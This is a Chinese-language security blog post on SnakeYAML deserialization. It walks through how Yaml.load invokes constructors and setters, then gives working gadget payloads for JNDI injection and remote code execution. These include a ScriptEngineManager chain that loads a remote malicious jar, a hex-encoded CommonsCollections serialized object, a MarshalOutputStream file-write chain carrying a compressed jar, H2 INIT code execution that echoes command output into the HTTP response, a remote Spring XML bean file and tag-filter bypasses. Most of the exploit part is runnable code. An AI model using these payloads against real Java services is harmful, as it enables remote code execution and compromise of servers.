# SnakeYAML反序列化总结

Table of Contents

YAML其实就是一种扩展版的标记语言,有些类似于XML。

其支持多种数据类型,而我们重点关注的,就是他的标签系统(Tag)。

简单理解,就是一个指定数据类型的功能。

name: !!str "void2eye"
age: !!age 20

那么其安全问题就很好理解了,其tag我们可以指定为一些危险的类,比如:

evil: !!python/object/apply:os.system ["whoami"]
java: !!java.net.URL ["http://111/111"]

回到我们的主题,SnakeYAML就是一个java解析yaml文件的依赖。其反序列化漏洞也与我们刚才讲的tag密切相关(当然官方并不认为这个一个漏洞,他们主张让用户不序列化非信任的yaml数据,后面也做了修复,强制使用安全的construct,这里就不细述了)

原理

SnakeYAML有两个核心方法:

  • Yaml.load(): 将YAML字符串反序列化为Java对象
  • Yaml.dump(): 将Java对象序列化为YAML字符串

直接看例子

package org.example.snakeyaml;
public class expBean {
private int age;
private String name;
public expBean() {
System.out.println("expBean's construct be called");
}
public int getAge() {
return age;
}
public void setAge(int age) {
System.out.println("setAge be called");
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("setName be called");
this.name = name;
}
}
Yaml yaml = new Yaml();
expBean data = yaml.load("!!org.example.snakeyaml.expBean {age: 18, name: 'SnakeYAML'}");
String yamlString = yaml.dump(data);
System.out.println("Loaded YAML Object: " + data);
System.out.println("YAML String: " + yamlString);
//expBean's construct be called
//setAge be called
//setName be called
//Loaded YAML Object: org.example.snakeyaml.expBean@39a054a5
//YAML String: !!org.example.snakeyaml.expBean {age: 18, name: SnakeYAML}

可以看到Yaml.load调用了expBean的构造方法和setter方法,调试看看在哪里调用的。

image-20250811102818137

跟进到loadFromReader方法,这里的Composer先初始化,之后用于YAML处理的第二阶段:

  1. Parser - 将YAML文本解析为事件流
  2. Composer - 将事件流组合成节点树(Node Tree) <---
  3. Constructor - 将节点树构造成Java对象

我们重点关注getSingleData()

image-20250811103256940 image-20250811142421294

这个方法核心在从YAML流中获取单个文档并构造成指定类型的Java对象,而这里的Node就是通过composer从YAML流里面获取的根节点,其格式就是从!!转换为tag,即SnakeYAML内部的节点树结构

tag:yaml.org,2002:org.example.snakeyaml.expBean == !!org.example.snakeyaml.expBean

最后调用constructDocument 将节点树转换为Java对象,继续跟进。

image-20250811143132763

继续跟进

image-20250811143213784 image-20250811143614057

根据节点类型和标签获取对应的构造器,然后检查缓存(防止在构造过程中被其他地方创建),再调用构造器的construct方法创建对象,继续跟进construct()

image-20250811143939001

这里刚好印证了yaml的功能,即对键值对,列表,对象的解析。前两个if判断是不是Map或者Collection的子类,最后的else则是对javaBean的处理。注意这里构造javaBean类的时候分为两步,newInstance之后调用constructJavaBean2ndStep填充对象。

先看newInstance,这里已经拿到expBean了,可以看到确实调用了构造方法。

image-20250811144612275 image-20250811144813786

继续跟进:constructJavaBean2ndStep

image-20250811150044838

这里我们的expBean没有注册TypeDescription,也就是正常的Bean,继续往下走到getProperty

image-20250811150157657

继续走到getPropertiesMap()方法

image-20250811150255672

注意看,这个地方会对public属性做不同的处理

image-20250811151248838

对比两种get方法:

image-20250811151312229 image-20250811151702914

很明显看出,正常javaBean属性是通过setter.invoke()来设置的,而public方法则是直接调用反射来取值的(这样做估计是为了节省开销),但是这也说明了一点

让我们步出,最后走到constructJavaBean2ndStep的property.set(object, value);方法

image-20250811152247180

省略后面的递归构建和一些非核心的操作,

最后美美返回load好的对象。

image-20250811152835937

了解原理之后,接下来就是一些SnakeYAML Gadget

一些Gadget以及利用姿势

sink点就是setter和构造方法

JdbcRowSetImpl

又是我们的老朋友,出网打JNDI。

setAutoCommit -> connect -> lookup(this.getDataSourceName());
image-20250811154327068

符合snakeYAML触发setter条件,伟大,无需多言。

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://ip/evil, autoCommit: true}

ScriptEngineManager

先讲讲SPI机制,也就是Service Provider Interface,是Java提供的一种服务发现机制,允许框架发现和加载接口的实现类,而不需要在代码中硬编码具体的实现。

其核心就在于 ServiceLoader.load()方法

public final class ServiceLoader<S> implements Iterable<S> {
public static <S> ServiceLoader<S> load(Class<S> service) {
// 获取当前线程的类加载器
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return ServiceLoader.load(service, cl);
}
public static <S> ServiceLoader<S> load(Class<S> service, ClassLoader loader) {
return new ServiceLoader<>(service, loader);
}
private ServiceLoader(Class<S> svc, ClassLoader cl) {
service = Objects.requireNonNull(svc, "Service interface cannot be null");
loader = (cl == null) ? ClassLoader.getSystemClassLoader() : cl;
reload();
}
public void reload() {
providers.clear();
lookupIterator = new LazyIterator(service, loader);
}
// 关键:查找配置文件
private class LazyIterator implements Iterator<S> {
Class<S> service;
ClassLoader loader;
Enumeration<URL> configs = null;
String nextName = null;
private boolean hasNextService() {
if (configs == null) {
try {
// 关键路径:META-INF/services/ + 接口全名
String fullName = PREFIX + service.getName();
configs = loader.getResources(fullName);
} catch (IOException x) {
fail(service, "Error locating configuration files", x);
}
}
// 解析配置文件,获取实现类名称
}
private S nextService() {
String cn = nextName;
nextName = null;
Class<?> c = null;
try {
// 关键:加载并实例化实现类
c = Class.forName(cn, false, loader);
} catch (ClassNotFoundException x) {
fail(service, "Provider " + cn + " not found");
}
try {
// 创建实例
S p = service.cast(c.newInstance());
providers.put(cn, p);
return p;
} catch (Throwable x) {
fail(service, "Provider " + cn + " could not be instantiated", x);
}
}
}
}
image-20250811163204140

那就构建:

/src
./META-INF/services
javax.script.ScriptEngineFactory
内容:v2e.V2EScriptEngineFactory
./v2e
V2EScriptEngineFactory.java
内容:
package v2e;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class V2EScriptEngineFactory implements ScriptEngineFactory {
public V2EScriptEngineFactory() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
javac src/v2e/V2EScriptEngineFactory.java
jar -cvf yamlExp.jar -C src/ .

poc

String exp = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8989/yamlExp.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(exp);

调试一下,前面从getSingleData -> constructDocument -> constructor.construct(node);就不演示了,走到construct方法,发现跟我们刚开始的expBean有些不同

image-20250812091131934

这位是因为之前expBean的yaml格式是键值对结构,所以construct把其作为MappingNode 处理,而这里的spi payload是列表,所以作为SequenceNode 来处理,这这一处理不会像MappingNode那样先构造javaBean再调用setter来还原类而是直接调用对应的构造函数。

image-20250812092506109

这里处理也很好理解,就是实现了通过构造器创建不可变对象的完整流程,分为两个阶段:

  1. 构造器筛选:根据参数数量筛选匹配的构造器

    YAML序列有N个元素 → 寻找有N个参数的构造器 将符合条件的构造器收集到possibleConstructors列表

  2. 最优构造器选择和对象创建:逐个构造参数

链子其实就是

URL[] urls = {new URL("http://evil.com/exploit.jar")};
URLClassLoader loader = new URLClassLoader(urls);
ScriptEngineManager manager = new ScriptEngineManager(loader);
// 这会触发SPI机制,加载远程的ScriptEngineFactory实现
initEngines:123, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:592, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:105, spiExp (org.example.snakeyaml)
ScriptEngineManager(loader) -> init(loader) -> initEngines(loader) -> ServiceLoader<ScriptEngineFactory>.iterator().next() -> 先实例化的NashornScriptEngineFactory,第二次实例化远程jar中的恶意类。
image-20250812095241202 image-20250811165735024

Apache XBean

<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

poc

String exp = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"void2eye\",!!javax.naming.Reference [\"foo\", \"EvilPayload\", \"http://127.0.0.1:8989/\"],!!org.apache.xbean.naming.context.WritableContext []]]";
Yaml yaml = new Yaml();
yaml.load(exp);

BadAttributeValueExpException老朋友了,其构造方法会调用toString

image-20250812143410930

org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding本身没有toString方法但是继承自Binding

image-20250812143554683

Binding的toString会调用getObject,而org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding#getObject()会调用

org.apache.xbean.naming.context.ContextUti#resolve

image-20250812143809444

NamingManager.getObjectInstance,jndi高版本绕过这一块。这里既可出网打远程加载,也可本地打BeanFactory。具体在jndi高版本的文章我会细讲,这里先按下不表

image-20250812150320007

Spring PropertyPathFactoryBean

有springframwork依赖基本都行

poc

String exp = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"ldap://127.0.0.1:7777/Exploit\", propertyPath: \"void2eye\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"ldap://127.0.0.1:7777/Exploit\"]}}";
Yaml yaml = new Yaml();
yaml.load(exp);

原理很简单,PropertyPathFactoryBean的setBeanFactory能触发任意getBean

image-20250812155909260

而SimpleJndiBeanFactory的getBean会触发lookup进而可以打jndi

image-20250812160110286

Apache Commons Configuration

<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>

poc

String exp = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:7777/Exploit\"]]: 1";
Yaml yaml = new Yaml();
yaml.load(exp);

直接把JNDIConfiguration里面的所有lookup打上断点,然后直接开调!

image-20250812162827346
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:505, AbstractMap (java.util)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
processDuplicateKeys:125, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:81, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:212, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:557, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:600, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:11, CCExp (org.example.snakeyaml)

从调用栈就知道是ConfigurationMap处理key造成的,由于整个过程会对key进行多次处理,故也会多次调用lookup

image-20250812163112899

Resource

<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-jndi</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-plus</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
<version>9.4.8.v20171121</version>
</dependency>

poc

String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"EvilPayload\", \"http://localhost:8989/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);

简单说一下,在Resource的父类org.eclipse.jetty.plus.jndi.NamingEntry中

image-20250813102050114

__Jetty框架自定义的特殊JNDI上下文名称,用来存储所有的NamingEntry对象,再来看NamingEntr是save方法

image-20250813102421726
Root Context
├── __ (Jetty上下文)
│ ├── v2e (Reference对象) ←── 第一个Resource绑定
│ └── v2e/test (普通对象) ←── 绑定第二个Resource触发lookup

所以就是尝试创建v2e/test时触发对v2e的查找这个时候触发jndi

C3P0 JndiRefForwardingDataSource

<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

poc

String exp = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"rmi://localhost/Exploit\", loginTimeout: \"0\"}";
Yaml yaml = new Yaml();
yaml.load(exp);

C3p0不赖,老生常谈了。

setLoginTimeout -> inner() -> dereference() -> lookup()

image-20250812164316235 image-20250812164434113

C3P0不出网

poc

java -jar ysoserial.jar CommonsCollections2 "calc" > calc.ser
public class HexEncode {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
//exp
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
String exp = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001b0000000171007e0020737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878;\"}";
Yaml yaml = new Yaml();
yaml.load(exp);

原理也很简单,在WrapperConnectionPoolDataSource这个类的父类WrapperConnectionPoolDataSourceBase里面的setUserOverridesAsString,一直会走到将Hex值反序列化

image-20250812174821183
deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:72, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:314, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:207, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:13, C3P0NotNetExp (org.example.snakeyaml)

MarshalOutputStream不出网(fj1.2.68写文件)

{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "dst",
"append": "false"
},
"infl": {
"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen": 1048576
},
"protocolVersion": 1
}

跟fj一样都是调用setter,所以这里的poc直接拿来用

poc

String exp = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]";
Yaml yaml = new Yaml();
yaml.load(exp);

网上抄的脚本

package com.zlg.serialize.snakeyaml;
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("本的的恶意文件","想写进去的路径");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}

配合打SPI

String exp = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file:./yaml-payload.jar\"]\n" + // win用file:来替代file://
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(exp);
image-20250812180145186

h2不出网

经典利用

String exp = "!!org.h2.jdbc.JdbcConnection [ \"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\\\"calc.exe\\\")\\\\; }$$\\\\;CALL EXEC ()\\\\;\", {}, \"a\", \"b\", false ]";
String exp2 ="!!org.h2.jdbc.JdbcConnection\n" +
"- jdbc:h2:mem:test\n" +
"- MODE: MSSQLServer\n" +
" INIT: |\n" +
" drop alias if exists exec;\n" +
" CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec(\"calc.exe\");}$$;\n" +
" CALL EXEC ();\n" +
"- a\n" +
"- b\n" +
"- false";
Yaml yaml = new Yaml();
yaml.load(exp);

exp用两个转义符是为了转义分号以达到init执行多个sql语句。

至于其原理,参考p神的文章https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html

鉴于fj的h2利用链

[
{
"@type": "java.lang.Class",
"val": "org.h2.jdbcx.JdbcDataSource"
},
{
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"
},
{
"$ref": "$[1].connection"
}
]

简单说一下,就是实例化org.h2.jdbcx.JdbcDataSource之后调用setUrl然后通过$ref[1]调用实例化的JdbcDataSource的getConnection方法

image-20250813085930188

而我们注意到实际上getConnection就是调用了org.h2.jdbc.JdbcConnection的构造方法,这也是为什么poc长那样。

其签名:

  1. jdbc 完整url
  2. 参数列表,对应到YAML里面就是一个字典
  3. 账号
  4. 密码
  5. 这个参数决定在目标服务器上,是否会当只有一个已经存在的h2数据库文件进行连接才能执行后续JDBC注入操作,fasle的话内存数据库jdbc:h2:mem无法使用。所以我们这里设置为true

h2不出网无回显

需要有springframework依赖

poc

!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
DROP ALIAS IF EXISTS EXEC;
CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("whoami.exe").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;
CALL EXEC ();
- a
- b
- false

这里先附上一张spring关于线程绑定上下文的原理图

image-20250813114002367

H2的ALIAS代码在同一个HTTP请求线程中执行,所以可以用StreamUtils.copy将命令执行结果从子进程复制到返回包,可以这么理解:

// 1. 执行命令,获取子进程
Process process = Runtime.getRuntime().exec("whoami.exe");
// 2. 获取命令输出流(相对于Java是输入流)
InputStream cmdOutput = process.getInputStream();
// 3. 获取Spring请求上下文(接口类型)
RequestAttributes attrs = RequestContextHolder.currentRequestAttributes();
// 4. 强转为Servlet实现,调用getResponse()
HttpServletResponse response = ((ServletRequestAttributes) attrs).getResponse();
// 5. 获取HTTP响应输出流
OutputStream httpOutput = response.getOutputStream();
// 6. 将命令结果复制到HTTP响应
StreamUtils.copy(cmdOutput, httpOutput);
image-20250813093541805

ClassPathXmlApplicationContext

出网利用

!!org.springframework.context.support.ClassPathXmlApplicationContext [ "http://ip/evil.xml" ]
evil.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 获取Runtime实例 -->
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime"/>
<!-- 执行命令 -->
<bean id="exec" factory-bean="runtime" factory-method="exec">
<constructor-arg value="calc.exe"/>
</bean>
</beans>

更复杂的可以去用javaChain生成,这里就不演示了。

不出网 方法一

利用前面提到的MershalOutputStream写文件在用file协议去读,这里就不赘述了。

不出网 方法二

bypass技巧

回到snakeYAML解析节点树的知识点,结合浅蓝师傅的文章:https://b1ue.cn/archives/407.html

若是ban掉!!有两种绕过方法

// 1
!<tag:yaml.org,2002:javax.script.ScriptEngineManager>
